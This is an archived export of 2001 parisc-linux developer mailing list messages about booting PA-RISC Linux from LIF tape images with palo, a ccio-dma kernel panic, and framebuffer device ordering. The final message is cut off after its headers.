             <Pine.LNX.4.42.0112172026520.742-100000@r6.petescaff.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13397

> I thought I had found something useful but have been unable to create a
> tape with a LIF image on it that actually boots.

If you have an already-running system, here's how to make a tape which
boots with the same root:

Copy your /etc/palo.conf to another file.  It should look something like
this:

--commandline=3/boot/vmlinux root=/dev/sda3
--recoverykernel=/boot/vmlinux
--init-partitioned=/dev/sda

Change --init-partitioned=/dev/sda to --init-tape=/tmp/lifimage

Change --commandline=3/boot/vmlinux ... to --commandline=0/vmlinux

Run palo, creating /tmp/lifimage

Copy /tmp/lifimage to tape with for example 'dd' (do not use 'tar' or 'cpio').



From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LIF boot from tape?
Date: Mon, 17 Dec 2001 12:42:15 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <m16G3eR-000Os7C@bame.riverrock.org>
References: <Pine.LNX.4.42.0112172026520.742-100000@r6.petescaff.com>  <m16G3bq-000Os7C@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620862 31803 80.91.229.3 (22 Nov 2014 01:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:42 +0000 (UTC)
Cc: Peter Mottram <peter@petescaff.com>,
	Stan Sieler <sieler@allegro.com>,
	parisc-linux@lists.parisc-linux.org, bame@www.riverrock.org
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 12:42:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44E23482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 12:42:17 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA23987;
	Mon, 17 Dec 2001 12:42:15 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m16G3eR-000Os7C@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <bame@riverrock.org>; Mon, 17 Dec 2001 12:42:15 -0700 (MST) 
In-Reply-To: Your message of "Mon, 17 Dec 2001 12:39:34 MST."
             <m16G3bq-000Os7C@bame.riverrock.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13398

> > I thought I had found something useful but have been unable to create a
> > tape with a LIF image on it that actually boots.
> 
> If you have an already-running system, here's how to make a tape which
> boots with the same root:
> 
> Copy your /etc/palo.conf to another file.  It should look something like
> this:
> 
> --commandline=3/boot/vmlinux root=/dev/sda3
> --recoverykernel=/boot/vmlinux
> --init-partitioned=/dev/sda
> 

In the new config file:

> Change --init-partitioned=/dev/sda to --init-tape=/tmp/lifimage
> 
> Change --commandline=3/boot/vmlinux ... to --commandline=0/vmlinux
> 
> Run palo, creating /tmp/lifimage

Specifically, 'palo -f your-new-config-file'

> 
> Copy /tmp/lifimage to tape with for example 'dd' (do not use 'tar' or 'cpio')
> .
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C110 Kernel panic while installing 0.9.3
Date: Mon, 17 Dec 2001 16:25:25 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20011217161541.026f40e0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620862 31818 80.91.229.3 (22 Nov 2014 01:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 14:25:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id E008D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 14:25:56 -0700 (MST)
Original-Received: from old@istop.magma.ca (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with ESMTP id EED8517018
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 16:29:12 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13399

I have had success and no problems installing the latest 0.9.3 on my B180L, 
so I had to be a glutton for punishment and tried on the C110.

Should not have done that. I have successfully installed the kernel and 
base for 0.9.3 and ftp'd vmlinux-32-2.4.16-pa16 kernel to the machine and 
re-booted to avoid the FWSCSI fs corruption. After that I started to 
install the X stuff. When I am doing an apt-get install xfonts-base (or 
xfonts-100dpi or xfonts-75dpi) I get a kernel panic:

ccio-dma.c:349: Assertion (*res_ptr & *mask_ptr) == * mask_ptr failed!
Kernel panic: (*res_ptr & *mask_ptr) == *mask_ptr
In interrupt handler - not syncing

I don't have the source for this and haven't yet looked at the code but I 
thought someone would like to know.

Regards, Herb




From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Mon, 17 Dec 2001 23:21:01 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20011217222143.4F578482A@dsl2.external.hp.com>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <20011217143513.W10085@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620862 31823 80.91.229.3 (22 Nov 2014 01:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 15:21:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4F578482A
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 15:21:43 -0700 (MST)
Original-Received: (qmail 20304 invoked by uid 0); 17 Dec 2001 22:21:28 -0000
Original-Received: from pd904031d.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.29)
  by mail.gmx.net (mp016-rz3) with SMTP; 17 Dec 2001 22:21:28 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <20011217143513.W10085@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13400

On Monday 17 December 2001 15:35, Matthew Wilcox wrote:
> On Mon, Dec 17, 2001 at 12:47:23PM +0100, Andy Walker wrote:
> > Both work fine, but the same weird thing with the frame buffer ordering
> > occurred with the 725/100 as it did with the B132L last week. With the
> > console set in the PDC to the built-in fb, the kernel starts to boot
> > on that device, then finds the Coral first and continues to boot
> > on that, calling it fb0. Setting the console in PDC to the Coral makes
> > everything work properly - the system boots all the way on the Coral.
>
> OK, we need to figure out how to order the fb devices properly.  Right
> now, they're initialised in IO tree order.  On a gecko with a graphics
> card in the expansion slot, the expansion grahics gets device 0 and the
> inbuilt is device 1.  Clearly similar problems exist on other machines.

Hi Matthew, List,

I think a better solution would be to sort the found graphic devices by the hpa.
Acording to the sti documentation the only allowed hpa's (at least for GSC 
and SGCsystems) are 0xf8000000, 0xf4000000, 0xfa000000 and 0xf6000000.
0xf8000000 is always the build-in graphic device (e.g. Artist) and should be by default fb0,
0xf4000000 is described in the 712 memory map as  second Artist (second gfx card)
and should be fb1, and equally  0xfa000000 and 0xf6000000 should be used as
 fb2 and fb3 (or vice versa - I didn't checked those last two).
In case the user wants to override with the sti= parameter the kernel should now
select this entry (e.g. sti=1 should select the card at 0xf4000000).

I didn't looked at the implementation really hard yet, but I think this shouldn't be 
that hard to code.

Helge



From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 Kernel panic while installing 0.9.3
Date: 17 Dec 2001 16:33:36 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <1008632016.10510.0.camel@beavis>
References: <5.1.0.14.0.20011217161541.026f40e0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620863 31825 80.91.229.3 (22 Nov 2014 01:47:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 16:33:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83452482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 16:33:37 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 3C6A5BC57; Mon, 17 Dec 2001 16:33:36 -0700 (MST)
In-Reply-To: <5.1.0.14.0.20011217161541.026f40e0@mail.magma.ca>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13401

Hello Herb,

Thanks to Thomas, I finally found a recipe that I can duplicate this
error with on my C200+.  I get this exact error when reading from a tape
drive with bs=10k.  I will track this down and get it fixed.  

Thanks for the bug report, and thanks to Thomas for the recipie :)

- Ryan


On Mon, 2001-12-17 at 14:25, Herb Radford wrote:
> I have had success and no problems installing the latest 0.9.3 on my B180L, 
> so I had to be a glutton for punishment and tried on the C110.
> 
> Should not have done that. I have successfully installed the kernel and 
> base for 0.9.3 and ftp'd vmlinux-32-2.4.16-pa16 kernel to the machine and 
> re-booted to avoid the FWSCSI fs corruption. After that I started to 
> install the X stuff. When I am doing an apt-get install xfonts-base (or 
> xfonts-100dpi or xfonts-75dpi) I get a kernel panic:
> 
> ccio-dma.c:349: Assertion (*res_ptr & *mask_ptr) == * mask_ptr failed!
> Kernel panic: (*res_ptr & *mask_ptr) == *mask_ptr
> In interrupt handler - not syncing
> 
> I don't have the source for this and haven't yet looked at the code but I 
> thought someone would like to know.
> 
> Regards, Herb
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Tue, 18 Dec 2001 00:49:26 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20011218004926.A5571@solo.franken.de>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <20011217143513.W10085@parcelfarce.linux.theplanet.co.uk> <20011217222143.4F578482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620863 31830 80.91.229.3 (22 Nov 2014 01:47:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:43 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Andy Walker <squawker@start.no>, parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 16:51:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9054603.dip.t-dialin.net [217.5.70.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47A364845
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 16:51:43 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fBHNnQh05712;
	Tue, 18 Dec 2001 00:49:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011217222143.4F578482A@dsl2.external.hp.com>; from deller@gmx.de on Mon, Dec 17, 2001 at 11:21:01PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13402

On Mon, Dec 17, 2001 at 11:21:01PM +0100, Helge Deller wrote:
> I think a better solution would be to sort the found graphic devices by the hpa.
[...]
> In case the user wants to override with the sti= parameter the kernel should now
> select this entry (e.g. sti=1 should select the card at 0xf4000000).

the big problem is, that stifb completly ignores sti= from the commandline
and video=map doesn't seem to work (I need to reconfigure a machine to test
that myself, which I hadn't time yet). The best thing would be to use
the console path from pdc, no idea how hard that is.

It's probably not a big deal to use the default sti (sti=) for stifb, but
I'd prefer either a video="???" solution or the pdc console path. If we 
decide on a solution, I'm going to implement it (if nobody else wants
to do it :-)).

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 and EISA/PCI video?
Date: Mon, 17 Dec 2001 15:27:11 -0900 (AKST)
Lines: 6
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112171521110.20808-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620863 31833 80.91.229.3 (22 Nov 2014 01:47:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:43 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 17:30:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2DC2F482A
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 17:30:20 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GOIK2003.18X for
          <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 15:30:00 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GOIK2102.J5L for <parisc-linux@parisc-linux.org>; Mon, 17 Dec
          2001 15:30:01 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA20833
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 15:27:11 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13403

So, finally picked up a C180. However, it has the DVI video connector. It
also has free slots - is it possible to use a PCI or EISA video card in
it, or should I track down the video adapter?




From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Tue, 18 Dec 2001 07:59:40 +0100 (CET)
Lines: 38
Approved: news@gmane.org
Message-ID: <1008658780.3c1ee95cb7432@nyepost.start.no>
References: <1008589643.3c1ddb4b75583@nyepost.start.no> <20011217143513.W10085@parcelfarce.linux.theplanet.co.uk> <20011217222143.4F578482A@dsl2.external.hp.com> <20011218004926.A5571@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620863 31835 80.91.229.3 (22 Nov 2014 01:47:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:43 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Matthew Wilcox <willy@debian.org>,
	Andy Walker <squawker@start.no>, parisc-linux@parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 00:09:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EE72482A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Dec 2001 00:09:24 -0700 (MST)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP
	id 03B588BE6; Tue, 18 Dec 2001 08:09:10 +0100 (CET)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id fBI6xeb29881;
	Tue, 18 Dec 2001 07:59:40 +0100
In-Reply-To: <20011218004926.A5571@solo.franken.de>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13404

Quoting Thomas Bogendoerfer <tsbogend@alpha.franken.de>:

> On Mon, Dec 17, 2001 at 11:21:01PM +0100, Helge Deller wrote:
> > I think a better solution would be to sort the found graphic devices
> by the hpa.
> [...]
> > In case the user wants to override with the sti= parameter the kernel
> should now
> > select this entry (e.g. sti=1 should select the card at 0xf4000000).
> 
> the big problem is, that stifb completly ignores sti= from the
> commandline
> and video=map doesn't seem to work (I need to reconfigure a machine to
> test
> that myself, which I hadn't time yet). The best thing would be to use
> the console path from pdc, no idea how hard that is.

I agree with Thomas here. The PDC console path should always be mapped to
fb0 if possible. How we order the other frambuffers is of less importance,
but the average user shouldn't need to play around with kernel parameters
to make the machine boot sensibly.

> It's probably not a big deal to use the default sti (sti=) for stifb,
> but I'd prefer either a video="???" solution or the pdc console path. If we
> decide on a solution, I'm going to implement it (if nobody else wants
> to do it :-)).
> 
> Thomas.

I'll certainly help with any testing I can - can't promise too many programming
hours right now though, unfortunately :(

-Andy

------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:20:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Maneesh Singhal <maneesh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation..... new problems..
Date: Tue, 18 Dec 2001 12:43:59 +0530 (IST)
Lines: 496
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0112181243060.20907-100000@hpuxsrv.india.hp.com>
References: <1008616208.3c1e43102faa8@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620864 31837 80.91.229.3 (22 Nov 2014 01:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:44 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org, rinux@iternet.it
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 18 00:18:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C55B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Dec 2001 00:18:15 -0700 (MST)
Original-Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132])
	by palrel12.hp.com (Postfix) with ESMTP
	id BA7FCE0012D; Mon, 17 Dec 2001 23:18:11 -0800 (PST)
Original-Received: from localhost (maneesh@localhost) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id MAA21065; Tue, 18 Dec 2001 12:43:59 +0530 (IST)
In-Reply-To: <1008616208.3c1e43102faa8@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
